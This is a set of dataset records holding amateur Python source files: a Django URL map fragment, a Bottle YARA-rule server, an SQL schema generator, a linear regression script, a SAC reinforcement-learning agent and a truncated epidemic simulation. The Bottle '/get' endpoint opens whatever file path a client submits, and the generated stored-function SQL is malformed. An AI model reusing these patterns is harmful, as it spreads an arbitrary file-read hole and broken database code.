33, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 33, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 38, "usage_type": "call"}, {"api_name": "booker.views.DeleteVenue.as_view", "line_number": 38, "usage_type": "call"}, {"api_name": "booker.views.DeleteVenue", "line_number": 38, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 38, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 43, "usage_type": "call"}, {"api_name": "booker.views.EditVenue.as_view", "line_number": 43, "usage_type": "call"}, {"api_name": "booker.views.EditVenue", "line_number": 43, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 43, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "booker.views.handler404", "line_number": 46, "usage_type": "attribute"}, {"api_name": "booker.views", "line_number": 46, "usage_type": "name"}, {"api_name": "django.conf.settings.DEBUG", "line_number": 51, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 51, "usage_type": "name"}, {"api_name": "django.conf.urls.static.static", "line_number": 52, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 52, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 52, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 52, "usage_type": "attribute"}]}
{"seq_id": "16873312126", "text": "import os.path\nfrom datetime import datetime\nfrom lib.Bocsar import Bocsar\nfrom lib.ExcelParser import ExcelParser\n\n\nclass ImportResponse:\n    def __init__(self):\n        self.USED_TO_UPDATED_BEFORE = 10\n        self.UPDATE_SUCCESSFULLY = 11\n        self.LGA_HAS_NO_DATA = 20\n\n    def get(self, lga):\n        assumedDirectory = './storage/' + lga.replace(' ', '').lower() + 'lga.xlsx'\n        if os.path.isfile(assumedDirectory):\n            return self.USED_TO_UPDATED_BEFORE, 'LGA data used to be updated before', \\\n                   datetime.fromtimestamp(os.path.getmtime(assumedDirectory))\n        else:\n            bocsar = Bocsar()\n            file = bocsar.downloadLgaExcel(lga.replace(' ', '').lower())\n            if file:\n                parser = ExcelParser(file)\n                parser.write()\n                return self.UPDATE_SUCCESSFULLY, 'LGA data update successfully', \\\n                       datetime.fromtimestamp(os.path.getmtime(file))\n            else:\n                return self.LGA_HAS_NO_DATA, 'LGA has no data', datetime.now()\n", "repo_name": "guiltyspark12138/data-app", "sub_path": "server_beer/lib/ImportResponse.py", "file_name": "ImportResponse.py", "file_ext": "py", "file_size_in_byte": 1058, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.path.isfile", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "name"}, {"api_name": "os.path.path.getmtime", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 17, "usage_type": "name"}, {"api_name": "lib.Bocsar.Bocsar", "line_number": 19, "usage_type": "call"}, {"api_name": "lib.ExcelParser.ExcelParser", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "name"}, {"api_name": "os.path.path.getmtime", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 25, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "name"}]}
{"seq_id": "71621151269", "text": "from time import gmtime, strftime\nfrom bottle import route, get, run, post, request\n\n\n@post('/get')\ndef index():\n    rulename = request.forms.get('rulename')\n    f = open(rulename, 'rb')\n    rule = f.read()\n    f.close()\n    return rule\n\n\n@post('/put')\ndef index():\n    recivedt = strftime('%Y-%m-%d %H:%M:%S', gmtime())\n    rulename = request.forms.get('rulename')\n    filename = request.forms.get('filename')\n    hostname = request.forms.get('hostname')\n    f = open(\"results.txt\", \"a\")\n    f.write(\"%s,%s,%s,%s\\r\\n\" % (recivedt, hostname, rulename, filename))\n    f.close()\n    return \"\"\n\n\nrun(host='192.168.1.68', port=8080)", "repo_name": "LukeAger/YaraREST", "sub_path": "rest.py", "file_name": "rest.py", "file_ext": "py", "file_size_in_byte": 628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "bottle.request.forms.get", "line_number": 7, "usage_type": "call"}, {"api_name": "bottle.request.forms", "line_number": 7, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 7, "usage_type": "name"}, {"api_name": "bottle.post", "line_number": 5, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 16, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 16, "usage_type": "call"}, {"api_name": "bottle.request.forms.get", "line_number": 17, "usage_type": "call"}, {"api_name": "bottle.request.forms", "line_number": 17, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 17, "usage_type": "name"}, {"api_name": "bottle.request.forms.get", "line_number": 18, "usage_type": "call"}, {"api_name": "bottle.request.forms", "line_number": 18, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 18, "usage_type": "name"}, {"api_name": "bottle.request.forms.get", "line_number": 19, "usage_type": "call"}, {"api_name": "bottle.request.forms", "line_number": 19, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 19, "usage_type": "name"}, {"api_name": "bottle.post", "line_number": 14, "usage_type": "call"}, {"api_name": "bottle.run", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "37797366837", "text": "from db import dbtypes as dbt\nfrom typing import Any, Dict, List, Iterator, Sequence, Type, Union, Optional, get_type_hints\n\n\nclass TableMetadata:\n    def __init__(self, table_class):\n        \n        type_hints:Dict[str, Any] = get_type_hints(table_class)\n        self.table_name = type_hints['__table_name__'] if '__table_name__' in type_hints else table_class.__name__\n\n        # generate columns and foregin keys\n        self.columns:Dict[str, dbt.DataTypeBase] = {}\n        _key_name:Optional[str] = None\n        self.foreign_keys_table:Dict[str, TableBase] = {}\n        for name, _type in type_hints.items():\n            if name.startswith('__'): continue\n            datatype = to_data_type(_type)\n            self.columns[name] = datatype\n\n            # If this column is primary key, save this key's name\n            if datatype.info.primary:\n                if _key_name is not None:\n                    raise RuntimeError('Multiple primary key is not allowed.')\n                _key_name = name\n\n            # If this column is foreign key, append to list\n            if datatype.info.link_table:\n                self.foreign_keys_table[name] = datatype.info.link_table\n\n        if _key_name is None:\n            raise RuntimeError('Primary key not found.')\n\n        self.key_column_name = _key_name\n\n\nclass TableBase:\n    \"\"\" Base class of a Table in the database \"\"\"\n\n    @classmethod\n    def metadata(cls):\n        if not hasattr(cls, '__metadata__'):\n            cls.__metadata__ = TableMetadata(cls)\n        return cls.__metadata__\n\n    @classmethod\n    def show_create_table(cls) -> str:\n        metadata = cls.metadata()\n        table_name = metadata.table_name\n        columns = metadata.columns\n        fk_table = metadata.foreign_keys_table\n        return (\n            f'CREATE TABLE `{table_name}`(\\n  ' + ', \\n  '.join((\n                *(f'`{name}` {dt.sql_expr}' for name, dt in columns.items()),\n                *(\n                    f'FOREIGN KEY `fk_{name}` (`{name}`) REFERENCES `{t.metadata().table_name}`(`{t.metadata().key_column_name}`)'\n                    for name, t in fk_table.items()\n                ),\n            )) + '\\n);'\n        )\n    \n    @classmethod\n    def select(cls, where, order, count, offset) -> Iterator:\n        \"\"\" Select records from the database \"\"\"\n\n    @classmethod\n    def select_one(cls, where) -> Iterator:\n        \"\"\" Select just one record from the database \n            If more than one records are found, throw a exception.\n        \"\"\"\n\n\n    \"\"\" Instance methods \"\"\"\n\n    def load(self) -> None:\n        \"\"\" Select (the latest version of) this record from the database \"\"\"\n\n    def save(self) -> None:\n        \"\"\" Insert or update this record to the database \"\"\"\n\n    def insert(self) -> None:\n        \"\"\" Insert this record as new record\n            If the record already exists on the database, throw a exception.\n        \"\"\"\n\n    def delete(self) -> None:\n        \"\"\" Delete this record from the database \"\"\"\n\n\n\nclass RawTable(TableBase):\n    \"\"\" \"\"\"\n\n\nclass Table(RawTable):\n    \"\"\" \"\"\"\n    id: dbt.IDKey(auto_increment=True)\n\nclass UniqueTable(Table):\n    \"\"\" \"\"\"\n\n    @classmethod\n    def show_selsert(cls, arg_colnames:Optional[List[str]] = None) -> str:\n        metadata = cls.metadata()\n        table_name = metadata.table_name\n        columns = metadata.columns\n        key_name = metadata.key_column_name\n        \n        _v_colnames = {name for name in columns.keys() if name != key_name}\n        \n        if arg_colnames is not None:\n            if len(arg_colnames) != len(set(arg_colnames)):\n                raise RuntimeError('Duplicate argument column names.')\n            if not all(colname in _v_colnames for colname in arg_colnames):\n                raise RuntimeError('Unknown column(s) exist in argument column names.')\n            v_colnames = arg_colnames\n        else:\n            v_colnames = list(_v_colnames)\n            \n        return (\n             'DELIMITER //\\n' + \n            f'CREATE FUNCTION `selsert_{table_name}`(  \\n' + ', '.join(\n                f'v_{name} {columns[name].info.dbtype}' for name in v_colnames\n            ) + \n             ')\\n' + \n            f'RETURNS {columns[key_name].info.dbtype} DETERMINISTIC\\n' + \n             'BEGIN\\n' +\n               '@ret = (\\n' + \n                 f'SELECT `{key_name}` FROM `{table_name}`\\n' + \n                 f'WHERE ' + ' AND '.join(\n                f'`{name}` = v_{name}' for name in v_colnames\n            ) + \n             '  );\\n' +\n             '  IF @ret IS NOT NULL THEN\\n' +\n             '    RETURN @ret;\\n' +\n             '  END IF;\\n' +\n            f'  INSERT INTO `{key_name}`(' + ', '.join(f'`{name}`' for name in v_colnames) + ') \\n' + \n             '    VALUES(' + ', '.join(f'v_{name}' for name in v_colnames) + ');\\n' +\n             '  RETURN LAST_INSERT_ID();\\n' +\n             'END//\\n' +\n             'DELIMITER ;\\n'\n        )\n# \n#         @classmethod\n#         def show_tables_selsert_st(cls, args:Sequence[Union[str, Tuple[str, Any]]]) -> str:\n#             metadata = cls.metadata()\n#             table_name = metadata.table_name\n#             arg_sts = []\n#             for arg in args:\n#                 if isinstance(arg, str):\n#                     st.append(f'v_{arg}')\n#                 elif isinstance(arg, tuple) and len(arg) == 2:\n#                     st.append()\n# \n#             return f'selsert_{table_name}(\\n  ' + ', \\n  '.join(arg_sts) + ');\\n'\n#             \n\n\n\ndef create_tables(*tables:List[Type]):\n    for table in tables:\n        # print(f'# {table.__name__}')\n        # type_hints = get_type_hints(table)\n        # for k, v in type_hints.items():\n        #     print(f'    {k}: {v}')\n        print(table.show_create_table())\n        if issubclass(table, UniqueTable):\n            print(table.show_selsert())\n        print('')\n\n\ndef to_data_type(t:Any, **options):\n\n    if isinstance(t, type):\n\n        # if `t` is already DataType\n        if issubclass(t, dbt.DataTypeBase):\n            if options:\n                return dbt.DataType(t, **options)\n            return t\n\n        if issubclass(t, TableBase):\n            return dbt.ForeignKey(t)\n\n    # assume typing.Optional type\n    if getattr(t, '__origin__') == Union:\n        if len(t.__args__) != 2:\n            raise RuntimeError('This union type is not available.')\n        if t.__args__[0] == type(None):\n            return to_data_type(t.__args__[1], nullable=True)\n        elif t.__args__[1] == type(None):\n            return to_data_type(t.__args__[0], nullable=True)\n        else:\n            raise RuntimeError('This union type is not available.')\n\n    raise RuntimeError('Failed to convert to data type.')\n    ", "repo_name": "masaharu-kato/class-db", "sub_path": "src/db/schema.py", "file_name": "schema.py", "file_ext": "py", "file_size_in_byte": 6684, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.Dict", "line_number": 8, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 8, "usage_type": "name"}, {"api_name": "typing.get_type_hints", "line_number": 8, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 12, "usage_type": "name"}, {"api_name": "db.dbtypes.DataTypeBase", "line_number": 12, "usage_type": "attribute"}, {"api_name": "db.dbtypes", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Iterator", "line_number": 62, "usage_type": "name"}, {"api_name": "typing.Iterator", "line_number": 66, "usage_type": "name"}, {"api_name": "db.dbtypes.IDKey", "line_number": 96, "usage_type": "call"}, {"api_name": "db.dbtypes", "line_number": 96, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 102, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 102, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 159, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 159, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 171, "usage_type": "name"}, {"api_name": "db.dbtypes.DataTypeBase", "line_number": 176, "usage_type": "attribute"}, {"api_name": "db.dbtypes", "line_number": 176, "usage_type": "name"}, {"api_name": "db.dbtypes.DataType", "line_number": 178, "usage_type": "call"}, {"api_name": "db.dbtypes", "line_number": 178, "usage_type": "name"}, {"api_name": "db.dbtypes.ForeignKey", "line_number": 182, "usage_type": "call"}, {"api_name": "db.dbtypes", "line_number": 182, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 185, "usage_type": "name"}]}
{"seq_id": "33237757660", "text": "import algorithms.linear_reg.linearreg as lr\nimport algorithms.linear_reg.plotdata as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\"\"\"This is the main driver file to test the rest machine learning modules.\"\"\"\n\n#loads the data1_1.txt into data variable\n#The data is a 97 x 2 matrix\ndata = np.genfromtxt(\"datas/data1_1.txt\", delimiter=',')\n\n#loading data to X and y - the first column corresponds to input and the second column corresponds to output\n#X becomes a 97x2 matrix with first column as 1s and y becomes a 97x1 matrix\nX=np.c_[np.ones(data.shape[0]),data[:,0]]\ny=np.c_[data[:,1]]\nprint(data)\n\n\n#plotting X and y\npd.plotData(X, y, 'x-label', 'y-label')\nplt.close()\n\n#initialise theta to zeros - theta is a 2 x 1 matrix\n#ComputeCost computes the cost of the linear regression\ntheta =[[0],[0]]\nJ = lr.ComputeCost(X, y, theta)\nprint('The cost of the hypothesis created with theta as 0,0 : ')\nprint(J)\n\niteration = 1500\nalpha = 0.01\n\n#theta is the optimized theta after 1500 iterations and J_plot is the values of 1500 cost with theta after every iteration\n#theta is the same 2 x 1 matrix and J_plot has 1500 values in a array\ntheta, J_plot= lr.gradientDescent(X, y, theta, iteration, alpha)\n\n#plotting the cost of hypothesis in 1500 iterationset\npd.plotDataJ('x-label', 'y-label', J_plot)\n#the optimised theta is\nprint('The optimised theta is : ')\nprint(theta)\n\n#new cost must decrease\nJ = lr.ComputeCost(X,y,theta)\nprint('The new cost after the optimised theta is : ')\nprint(J)\n\n#plotting the predicted function i.e. theta0*x0 + theta1*x1\n#set the range for which hypothesis is to be plotted\nrange_x = np.arange(30)\n#calculating the formula of hypothesis with the new theta\nhx = theta[0]+theta[1]*range_x\npd.plotDataH(X, y, 'x-label', 'y-label', hx, range_x)\n\n#using scikit-learn to plot the same and comapring both the values\npd.plotDataSK(X, y, range_x, hx)\n\n#predicting profits - theta(T).x\nprint(' The predicted value for custom x is : ')\nprint(theta.T.dot([1, 3.5])*10000)\n\n#plotting cost for each value of theta and plotting a 3D graph of the same\npd.plotDataCOST(X, y)\n\n\"\"\" Contour plots are still to be completed\"\"\"\n", "repo_name": "akshkr/mac_learn", "sub_path": "library/driver.py", "file_name": "driver.py", "file_ext": "py", "file_size_in_byte": 2137, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.genfromtxt", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 15, "usage_type": "attribute"}, {"api_name": "algorithms.linear_reg.plotdata.plotData", "line_number": 20, "usage_type": "call"}, {"api_name": "algorithms.linear_reg.plotdata", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "algorithms.linear_reg.linearreg.ComputeCost", "line_number": 26, "usage_type": "call"}, {"api_name": "algorithms.linear_reg.linearreg", "line_number": 26, "usage_type": "name"}, {"api_name": "algorithms.linear_reg.linearreg.gradientDescent", "line_number": 35, "usage_type": "call"}, {"api_name": "algorithms.linear_reg.linearreg", "line_number": 35, "usage_type": "name"}, {"api_name": "algorithms.linear_reg.plotdata.plotDataJ", "line_number": 38, "usage_type": "call"}, {"api_name": "algorithms.linear_reg.plotdata", "line_number": 38, "usage_type": "name"}, {"api_name": "algorithms.linear_reg.linearreg.ComputeCost", "line_number": 44, "usage_type": "call"}, {"api_name": "algorithms.linear_reg.linearreg", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 50, "usage_type": "call"}, {"api_name": "algorithms.linear_reg.plotdata.plotDataH", "line_number": 53, "usage_type": "call"}, {"api_name": "algorithms.linear_reg.plotdata", "line_number": 53, "usage_type": "name"}, {"api_name": "algorithms.linear_reg.plotdata.plotDataSK", "line_number": 56, "usage_type": "call"}, {"api_name": "algorithms.linear_reg.plotdata", "line_number": 56, "usage_type": "name"}, {"api_name": "algorithms.linear_reg.plotdata.plotDataCOST", "line_number": 63, "usage_type": "call"}, {"api_name": "algorithms.linear_reg.plotdata", "line_number": 63, "usage_type": "name"}]}
{"seq_id": "72471673509", "text": "import tensorflow as tf\nimport numpy as np\nimport core as cr\nfrom buffer import replay_buffer\nfrom tensorboardX import SummaryWriter\nfrom ou_noise import OU_noise\nimport gym\n\nclass SAC:\n    def __init__(self):\n        self.sess = tf.Session()\n        self.state_size = 33\n        self.output_size = 4\n        self.tau = 0.995\n        self.gamma = 0.99\n        self.hidden = [400, 300]\n        self.batch_size = 64\n        self.pi_lr = 1e-3\n        self.q_lr = 1e-3\n        self.action_limit = 1.0\n        self.memory = replay_buffer(1e5)\n        self.target_noise = 0.2\n        self.noise_clip = 0.1\n        self.alpha = 1e-5\n        self.num_worker = 20\n        self.noise = OU_noise(self.output_size, self.num_worker)\n        \n        self.x_ph, self.a_ph, self.x2_ph, self.r_ph, self.d_ph = \\\n            cr.placeholders(self.state_size, self.output_size, self.state_size, None, None)\n\n        with tf.variable_scope('main'):\n            self.mu, self.pi, self.logp_pi, self.q1, self.q2, self.q1_pi, self.q2_pi, self.v = \\\n                cr.sac_mlp_actor_critic(\n                    x=self.x_ph,\n                    a=self.a_ph,\n                    hidden=self.hidden,\n                    activation=tf.nn.relu,\n                    output_activation=tf.tanh,\n                    output_size=self.output_size,\n                    action_limit=self.action_limit\n                )\n        with tf.variable_scope('target'):\n            _, _, _, _, _, _, _, self.v_targ = \\\n                cr.sac_mlp_actor_critic(\n                    x=self.x2_ph,\n                    a=self.a_ph,\n                    hidden=self.hidden,\n                    activation=tf.nn.relu,\n                    output_activation=tf.tanh,\n                    output_size=self.output_size,\n                    action_limit=self.action_limit\n                )\n\n        self.pi_params = cr.get_vars('main/pi')\n        self.value_params = cr.get_vars('main/q') + cr.get_vars('main/v')\n\n        self.min_q_pi = tf.minimum(self.q1_pi, self.q2_pi)\n        self.q_backup = tf.stop_gradient(self.r_ph + self.gamma * (1 - self.d_ph) * self.v_targ)\n        self.v_backup = tf.stop_gradient(self.min_q_pi - self.alpha * self.logp_pi)\n\n        self.pi_loss = tf.reduce_mean(self.alpha * self.logp_pi - self.q1_pi)\n        self.q1_loss = 0.5 * tf.reduce_mean((self.q_backup - self.q1) ** 2)\n        self.q2_loss = 0.5 * tf.reduce_mean((self.q_backup - self.q2) ** 2)\n        self.v_loss  = 0.5 * tf.reduce_mean((self.v_backup - self.v) ** 2)\n        self.value_loss = self.q1_loss + self.q2_loss + self.v_loss\n\n        self.pi_optimizer = tf.train.AdamOptimizer(self.pi_lr)\n        self.train_pi_op = self.pi_optimizer.minimize(self.pi_loss, var_list=self.pi_params)\n\n        self.value_optimizer = tf.train.AdamOptimizer(self.q_lr)\n        with tf.control_dependencies([self.train_pi_op]):\n            self.train_value_op = self.value_optimizer.minimize(self.value_loss, var_list=self.value_params)\n\n        with tf.control_dependencies([self.train_value_op]):\n            self.target_update = tf.group([tf.assign(v_targ, self.tau*v_targ + (1-self.tau)*v_main)\n                                  for v_main, v_targ in zip(cr.get_vars('main'), cr.get_vars('target'))])\n\n        self.step_ops = [self.pi_loss, self.q1_loss, self.q2_loss, self.v_loss, self.q1, self.q2,\n                         self.v,       self.logp_pi, self.train_pi_op, self.train_value_op, self.target_update]\n    \n        self.target_init = tf.group([tf.assign(v_targ, v_main)\n                              for v_main, v_targ in zip(cr.get_vars('main'), cr.get_vars('target'))])\n\n        self.sess.run(tf.global_variables_initializer())\n        self.sess.run(self.target_init)\n\n    def update(self):\n        data = self.memory.get_sample(sample_size=self.batch_size)\n        feed_dict = {\n            self.x_ph : data['state'],\n            self.x2_ph : data['next_state'],\n            self.a_ph : data['action'],\n            self.r_ph : data['reward'],\n            self.d_ph : data['done']\n        }\n\n        self.sess.run(self.step_ops, feed_dict=feed_dict)\n\n    def get_action(self, state, deterministic=False):\n        act_op = self.mu if deterministic else self.pi\n        return self.sess.run(act_op, feed_dict={self.x_ph: [state]})[0]\n\n    def test(self):\n        env = gym.make('Pendulum-v0')\n        while True:\n            state = env.reset()\n            done = False\n            while not done:\n                env.render()\n                action = self.get_action(state, 0)\n                state, _, done,_ = env.step(action)\n\n    def run(self):\n        from mlagents.envs import UnityEnvironment\n\n        writer = SummaryWriter('runs/sac')\n        num_worker = self.num_worker\n        state_size = self.state_size\n        output_size = self.output_size\n        ep = 0\n        train_size = 5\n\n        env = UnityEnvironment(file_name='env/training', worker_id=1)\n        default_brain = env.brain_names[0]\n        brain = env.brains[default_brain]\n        initial_observation = env.reset()\n\n        step = 0\n        start_steps = 100000\n\n        states = np.zeros([num_worker, state_size])\n        for i in range(start_steps):\n            actions = np.clip(np.random.randn(num_worker, output_size), -self.action_limit, self.action_limit)\n            actions += self.noise.sample()\n            env_info = env.step(actions)[default_brain]\n            next_states = env_info.vector_observations\n            rewards = env_info.rewards\n            dones = env_info.local_done\n            for s, ns, r, d, a in zip(states, next_states, rewards, dones, actions):\n                self.memory.append(s, ns, r, d, a)\n            states = next_states\n            if dones[0]:\n                self.noise.reset()\n            if i % train_size == 0:\n                if len(self.memory.memory) > self.batch_size:\n                    self.update()\n            print('data storing :', float(i / start_steps))\n\n        while True:\n            ep += 1\n            states = np.zeros([num_worker, state_size])\n            terminal = False\n            score = 0\n            while not terminal:\n                step += 1\n                '''\n                if step > start_steps:\n                    actions = [self.get_action(s) for s in states]\n                    action_random = 'False'\n                else:\n                    actions = np.clip(np.random.randn(num_worker, output_size), -self.action_limit, self.action_limit)\n                    action_random = 'True'\n                '''\n                actions = [self.get_action(s) for s in states]\n                action_random = 'False'\n            \n                env_info = env.step(actions)[default_brain]\n\n                next_states = env_info.vector_observations\n                rewards = env_info.rewards\n                dones = env_info.local_done\n\n                terminal = dones[0]\n\n                for s, ns, r, d, a in zip(states, next_states, rewards, dones, actions):\n                    self.memory.append(s, ns, r, d, a)\n\n                score += sum(rewards)\n\n                states = next_states\n\n                if len(self.memory.memory) > self.batch_size:\n                    if step % train_size == 0:\n                        self.update()\n\n            if ep < 1000:\n                print('step : ', step, '| start steps : ', start_steps, '| episode :', ep, '| score : ', score, '| memory size', len(self.memory.memory), '| action random : ', action_random)\n                writer.add_scalar('data/reward', score, ep)\n                writer.add_scalar('data/memory_size', len(self.memory.memory), ep)\n\n    \nif __name__ == '__main__':\n    agent = SAC()\n    agent.run()", "repo_name": "RLOpensource/spinning_up_kr", "sub_path": "sac.py", "file_name": "sac.py", "file_ext": "py", "file_size_in_byte": 7668, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tensorflow.Session", "line_number": 11, "usage_type": "call"}, {"api_name": "buffer.replay_buffer", "line_number": 21, "usage_type": "call"}, {"api_name": "ou_noise.OU_noise", "line_number": 26, "usage_type": "call"}, {"api_name": "core.placeholders", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 31, "usage_type": "call"}, {"api_name": "core.sac_mlp_actor_critic", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.tanh", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 42, "usage_type": "call"}, {"api_name": "core.sac_mlp_actor_critic", "line_number": 44, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tensorflow.tanh", "line_number": 49, "usage_type": "attribute"}, {"api_name": "core.get_vars", "line_number": 54, "usage_type": "call"}, {"api_name": "core.get_vars", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.minimum", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.stop_gradient", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.stop_gradient", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 67, "usage_type": "attribute"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 70, "usage_type": "attribute"}, {"api_name": "tensorflow.control_dependencies", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.control_dependencies", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.group", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.assign", "line_number": 75, "usage_type": "call"}, {"api_name": "core.get_vars", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.group", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.assign", "line_number": 81, "usage_type": "call"}, {"api_name": "core.get_vars", "line_number": 82, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 84, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 116, "usage_type": "call"}, {"api_name": "mlagents.envs.UnityEnvironment", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 133, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 151, "usage_type": "call"}, {"api_name": "{'UnityEnvironment': 'mlagents.envs.UnityEnvironment'}", "line_number": 193, "usage_type": "call"}]}
{"seq_id": "37623659902", "text": "from random import randint\nimport pdb\n\nfrom config import NUM_PERSONS, MAX_LOCATION, NUM_ITERATION_PER_DAY, NUM_HOSPITALS, NUM_BEDS_PER_HOSPITAL, NUM_INITIAL_INFECTED, NUM_ITERATIONS_TO_RUN\n\nfrom living_state import *\nfrom person import Person\nfrom hospital import Hospital\nfrom covid19 import Covid19\nfrom get_stats import get_people_stats\nfrom contact import contact\n\ndef create_hospitals():\n    all_hospitals = []\n    for j in range(NUM_HOSPITALS):\n        locations_x = []\n        locations_y = []\n        \n        hospital_location_x = randint(10, MAX_LOCATION)\n        hospital_location_y = randint(10, MAX_LOCATION)\n\n        while (hospital_location_x in locations_x and hospital_location_y in locations_y):\n            hospital_location_x = randint(10, MAX_LOCATION)\n            hospital_location_y = randint(10, MAX_LOCATION)\n        all_hospitals.append(Hospital(j, NUM_BEDS_PER_HOSPITAL, [hospital_location_x, hospital_location_y]))\n    return all_hospitals\n\ndef create_people():\n    all_people = []\n    total_infected = 5\n    infected_indices = []\n    for j in range(total_infected):\n        next_infected = randint(0, NUM_PERSONS)\n        while(next_infected in infected_indices):\n            next_infected = randint(0, NUM_PERSONS)\n        infected_indices.append(next_infected)\n\n    for j in range(NUM_PERSONS):\n        if j in infected_indices:\n            next_person = Person(j, MAX_LOCATION, INFECTED, active_probab = 0.6)\n            next_person.infect(Covid19(), 0)      \n            all_people.append(next_person)\n        else:\n            next_person = Person(j, MAX_LOCATION, UNINFECTED, active_probab = 0.6)\n            all_people.append(next_person)\n\n    return all_people\n\ndef run_iters(num_iterations):\n    all_hospitals = create_hospitals()\n    all_people = create_people()\n    all_hospital_full = False\n        \n    for i in range(num_iterations):\n        for j in range(NUM_PERSONS):\n            all_people[j].move()\n            all_people[j].are_symptoms_visible(i)\n            if all_people[j].shows_symptom:\n\n                # Checking if there is any space left in hospital\n                all_hospital_full = True\n                for a_hospital in all_hospitals:\n                    if not a_hospital.is_full:\n                        all_hospital_full = False\n                        break\n                \n                # If all hospitals are not full then\n                if not all_hospital_full:\n                    for a_hospital in all_hospitals:\n                        if not a_hospital.is_full:\n                            hospital_location = 